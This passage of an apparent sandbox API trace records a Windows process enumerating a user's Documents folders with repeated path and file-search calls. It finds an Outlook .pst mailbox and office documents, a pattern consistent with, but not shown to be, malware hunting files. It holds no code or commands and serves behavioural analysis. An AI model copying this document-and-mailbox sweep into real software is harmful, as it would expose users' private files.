lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0080.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpFilePart=0x0) returned 0x3b [0080.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.315] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.315] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0080.315] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0080.315] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.316] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.316] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.316] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0080.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.317] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0080.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x32 [0080.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e830) returned 1 [0080.321] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0080.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0080.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpFilePart=0x0) returned 0x36 [0080.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.324] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.324] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0080.324] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0080.324] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.325] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e2c6a0, ftCreationTime.dwHighDateTime=0x1d5832e, ftLastAccessTime.dwLowDateTime=0x7f9f7ad0, ftLastAccessTime.dwHighDateTime=0x1d577e2, ftLastWriteTime.dwLowDateTime=0x7f9f7ad0, ftLastWriteTime.dwHighDateTime=0x1d577e2, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRT-A.docx", cAlternateFileName="QRT-A~1.DOC")) returned 1 [0080.325] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3bf7f20, ftCreationTime.dwHighDateTime=0x1d5b651, ftLastAccessTime.dwLowDateTime=0xd76fd650, ftLastAccessTime.dwHighDateTime=0x1d5c121, ftLastWriteTime.dwLowDateTime=0xd76fd650, ftLastWriteTime.dwHighDateTime=0x1d5c121, nFileSizeHigh=0x0, nFileSizeLow=0x113ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="T5opIR4HM6dqUocCUV.pptx", cAlternateFileName="T5OPIR~1.PPT")) returned 1 [0080.325] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c69a510, ftCreationTime.dwHighDateTime=0x1d58790, ftLastAccessTime.dwLowDateTime=0x25a7a000, 